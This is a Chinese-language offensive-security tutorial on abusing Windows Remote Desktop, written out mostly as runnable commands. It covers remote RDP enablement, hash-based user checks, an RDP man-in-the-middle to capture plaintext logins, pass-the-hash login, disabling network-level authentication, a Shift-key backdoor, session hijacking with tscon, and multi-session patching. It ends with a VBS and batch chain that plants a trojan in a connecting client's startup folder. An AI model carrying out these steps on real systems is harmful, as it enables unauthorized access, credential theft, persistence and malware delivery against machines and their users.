本文作者 : 重生信安 - T3ngYu
**?一、RDP 服務(wù)確定和啟動(dòng) **
1. 確定RDP服務(wù)是否啟動(dòng)和服務(wù)端口
(1)注冊(cè)表查詢(xún)
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections # 查看RDP服務(wù)是否開(kāi)啟:1關(guān)閉,0開(kāi)啟 REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ WinStations\RDP-Tcp" /v PortNumber # 查看RDP服務(wù)的端口
(2)進(jìn)程查看
tasklist /svc | find "TermService" # 找到對(duì)應(yīng)服務(wù)進(jìn)程的PID netstat -ano | find "3220" # 找到進(jìn)程對(duì)應(yīng)的端口號(hào)
2. 啟動(dòng)RDP服務(wù)
(1)cmd 本地注冊(cè)表啟動(dòng)
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConne ctions /t REG_DWORD /d 00000000 /f REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wi nStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f # 監(jiān)聽(tīng) 3389 端口
也可以通過(guò)reg配置文件的方式啟動(dòng):regedit /s startrdp.reg
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] "fDenyTSConnections"=dword:00000000 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStation s\RDP-Tcp] "PortNumber"=dword:00000d3d
(2) 利用Wmic 啟動(dòng)遠(yuǎn)程主機(jī)的RDP服務(wù)
wmic /node: "192.168.1.160" /USER:"192.168.1.160\administrator" PATH win32_ermi nalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 # 需要輸入遠(yuǎn) 程機(jī)器上管理員密碼
二、RDP 用戶(hù)登錄前
- 有效用戶(hù)獲得&確定
(1) 明文密碼:RDP爆破,SMB爆破(使用MSF中的smb_login 模塊可以確定有效用戶(hù)并判斷是否是管理員組的)等工具
(2) Hash:Impacket工具包中的rdp_check.py 腳本可以通過(guò)hash確定目標(biāo)機(jī)器是否存在枚舉的用戶(hù)
python rdp_check.py ./administrator@10.97.45.11 -hashes :618B18AD4171A53695DD99 7AB02D55C4
當(dāng)用戶(hù)存在時(shí)會(huì)提示 Access Granted,否者提示 Access Denied
(3) RDP中間人:Seth
./seth.sh eth0 10.0.0.2(myip) 10.0.0.3(client) 10.0.0.1(server) # 在10.0.0.2機(jī)器上,劫持由10.0.0.3向10.0.0.1的RDP申請(qǐng),獲得登錄明文
執(zhí)行后客戶(hù)端鏈接服務(wù)器會(huì)失敗,過(guò)段時(shí)間恢復(fù)正常
-
判斷能否直接登錄
通過(guò)上述步驟確定用戶(hù)及密碼后,如果用戶(hù)是管理員組的可以直接通過(guò)別的方式在遠(yuǎn)程 主機(jī)上執(zhí)行命令或者反彈shell,利用query user查看在線(xiàn)的用戶(hù)或者利用tasklist查看遠(yuǎn)程主機(jī)上的進(jìn)程是否有目標(biāo)用戶(hù)的進(jìn)行判斷。
但是如果普通的用戶(hù),那需要進(jìn)一步判斷目標(biāo)系統(tǒng)來(lái)確定合適的登錄時(shí)機(jī)
(1) Windows XP、2003 支持統(tǒng)一用戶(hù)登陸多地登陸互不影響,使用query user查看在線(xiàn)用戶(hù),XP沒(méi)有該命令也可以使用taskmgr從任務(wù)管理器查看,同一權(quán)限下可以相互注 銷(xiāo)會(huì)話(huà)。
(2) 非服務(wù)器版本的Windows 系統(tǒng)默認(rèn)只允許一個(gè)賬戶(hù)登錄。當(dāng)遠(yuǎn)程用戶(hù)登錄時(shí)使用與原系統(tǒng)相同的賬戶(hù),原系統(tǒng)將切換到登陸頁(yè)面,并會(huì)看到登陸的機(jī)器名
如果使用不同的賬戶(hù),原系統(tǒng)將彈窗提示其他用戶(hù)已登陸到此計(jì)算機(jī)
選擇繼續(xù)后,原系統(tǒng)將會(huì)提示是否端口當(dāng)前鏈接(30s后默認(rèn)選擇同意,退出到登陸頁(yè)面)
三、RDP 登錄
- Windows 明文登錄
mstsc.exe
- Linux 明文登錄
rdesktop 192.168.1.5:3389
- Windows上用戶(hù)hash 登錄
(1) mstsc.exe
Server需要開(kāi)啟 Restricted Admin mode,在Windows 8.1Windows Server 2012 R2中默認(rèn)開(kāi)啟,同時(shí)如果Win 7 和Windows Server 2008 R安裝了2871997、2973351補(bǔ)丁也支持;Client需要支持 Restricted Admin mode,當(dāng)前系統(tǒng)不支持,鏈接時(shí)將出現(xiàn)如下:
可以通過(guò)如下命令開(kāi)啟 Restricted Admin mode
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin / t REG_DWORD /d 00000000 /f
開(kāi)啟后使用:mstsc.exe /restrictedadmin 進(jìn)行登錄不需要密碼,將使用當(dāng)前用戶(hù)的hash 進(jìn)行驗(yàn)證
(2) mimikatz.exe
mimikatz.exe # 需要管理員權(quán)限
4 . Linux上使用用戶(hù)hash登錄
apt-get update
PS:這里有一個(gè)坑,高版本xfreerdp不支持 /pth 參數(shù),可以使用上面的安裝命令安裝支持/pth的版本,也可以使用kali/parrot中默認(rèn)安裝好
PS2:如果RDP服務(wù)啟動(dòng)了,客戶(hù)端無(wú)法鏈接,可能是防火墻配置的問(wèn)題,可以執(zhí)行如下命 令添加防火墻規(guī)則允許3389端口TCP通信
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in l
PS3:如果出現(xiàn)遠(yuǎn)程連接出現(xiàn)身份驗(yàn)證錯(cuò)誤,要求的函數(shù)不支持,解決方法:
REG add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\CredSSP\ Parameters /v AllowEncryptionOracle /t REG_DWORD /d 2 /f
**四、關(guān)于 RDP 權(quán)限維持方法 **
1. 關(guān)閉 RDP 安全認(rèn)證
當(dāng)服務(wù)器開(kāi)啟安全認(rèn)證時(shí),必須先通過(guò)登陸密碼才能進(jìn)入遠(yuǎn)程桌面;如果服務(wù)端用的是 不安全的認(rèn)證方式,即可以先遠(yuǎn)程鏈接后登陸可以觸發(fā)Shift后門(mén)
如何設(shè)置不安全的連接,去掉”僅允許使用網(wǎng)絡(luò)級(jí)別的身份驗(yàn)證的遠(yuǎn)程桌面的計(jì)算機(jī)連 接”選項(xiàng),需要注意的是先上系統(tǒng)后驗(yàn)證也會(huì)在計(jì)算機(jī)本地留下一定的進(jìn)程、日志。
2. Shift后門(mén) + RDP劫持
配合上面的關(guān)閉RDP安全認(rèn)證方式,利用Shift后門(mén)可以讓攻擊者快速獲得System權(quán) 限,結(jié)合RDP劫持可以實(shí)現(xiàn)無(wú)需創(chuàng)建用戶(hù)、不更改劫持用戶(hù)登錄時(shí)間、解鎖劫持用戶(hù)界面、 等功能。注意RDP劫持需要System權(quán)限
tscon id # (要劫持的用戶(hù)id,query user查看)
另外一種方法可以通過(guò)創(chuàng)建服務(wù)激活
sc create rdpjack binpath="cmd.exe /k tscon 2 /dest:console" net start radjack # 執(zhí)行后切換到目標(biāo)界面下
Mimikatz中也有相關(guān)的利用模塊
mimikatz.exe
3. 開(kāi)啟多人登錄模式
設(shè)置完成后,使用相同的用戶(hù)登錄互不影響,不會(huì)有彈窗提示、鎖屏等狀況,和 Windows Server 2003相同。
(1)手動(dòng)設(shè)置:將計(jì)算機(jī)配置(Computer Configuration)->管理模板 (Administrative Templates)->Windows組件(Windows Components)->遠(yuǎn)程桌面 服務(wù)(Remote Desktop Services)->遠(yuǎn)程桌面會(huì)話(huà)主機(jī)(Remote Desktop Session Host)->鏈接(Connections),禁用”將遠(yuǎn)程桌面服務(wù)的用戶(hù)限制到單獨(dú)的遠(yuǎn)程桌面會(huì) 話(huà)”(Restrict Remote Desktop Services users to a single Remote Desktop Services session) (2)Mimikatz 開(kāi)啟多用戶(hù)登錄,支持Win 7 及以前的版本系統(tǒng)
mimikatz.exe
PS:使用與原系統(tǒng)相同的賬戶(hù),原系統(tǒng)還是會(huì)被切換到登錄界面;不同賬戶(hù)登陸成功 (3)RDPwrap:支持Win Vista - Win10
RDPWinst.exe -i is # 安裝
(4)SharpDoor:僅使用于Win 10 開(kāi)啟多會(huì)話(huà)RDP
**五、RDP 服務(wù)器反打客戶(hù)端 **
需要客戶(hù)端RDP鏈接時(shí),開(kāi)啟磁盤(pán)共享(將本地磁盤(pán)掛在到服務(wù)器上)才能正常利用
- RDPInception:在服務(wù)端開(kāi)啟,修改bat腳本執(zhí)行powershell、exe或者dll,等待客 戶(hù)端連接拷貝到客戶(hù)端啟動(dòng)項(xiàng)中(需要客戶(hù)端共享文件)執(zhí)行,每次啟動(dòng)嘗試鏈接。
2. 手動(dòng)利用過(guò)程:假設(shè)客戶(hù)端和登錄服務(wù)器的用戶(hù)都是Administrator
(1)在服務(wù)器端設(shè)置Administrator 啟動(dòng)項(xiàng) 目,C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\StartMenu\Programs
\Startup\powershell.vbs 作用是無(wú)彈窗執(zhí)行bat腳本
set ws=WScript.CreateObject("WScript.Shell") ws.Run "C:\Windows.bat",0 ws.Run "cmd /c del C:\Windows\Temp\service.exe",0
(2)Windows.bat 腳本內(nèi)容實(shí)現(xiàn)馬(service.exe)拷貝到客戶(hù)端的啟動(dòng)目錄
copy "C:\Windows\Temp\service.exe" "\\tsclient\c\Users\Administrator\AppData\Ro aming\Microsoft\Windows\Start Menu\Programs\startup\service.exe"
也可以根據(jù)實(shí)際情況,將Rat拷貝到客戶(hù)端的其他目錄,將激活腳本拷貝到客戶(hù)端啟動(dòng)目 錄;如果不出網(wǎng)的情況下,也可以將exe替換成要執(zhí)行的腳本 。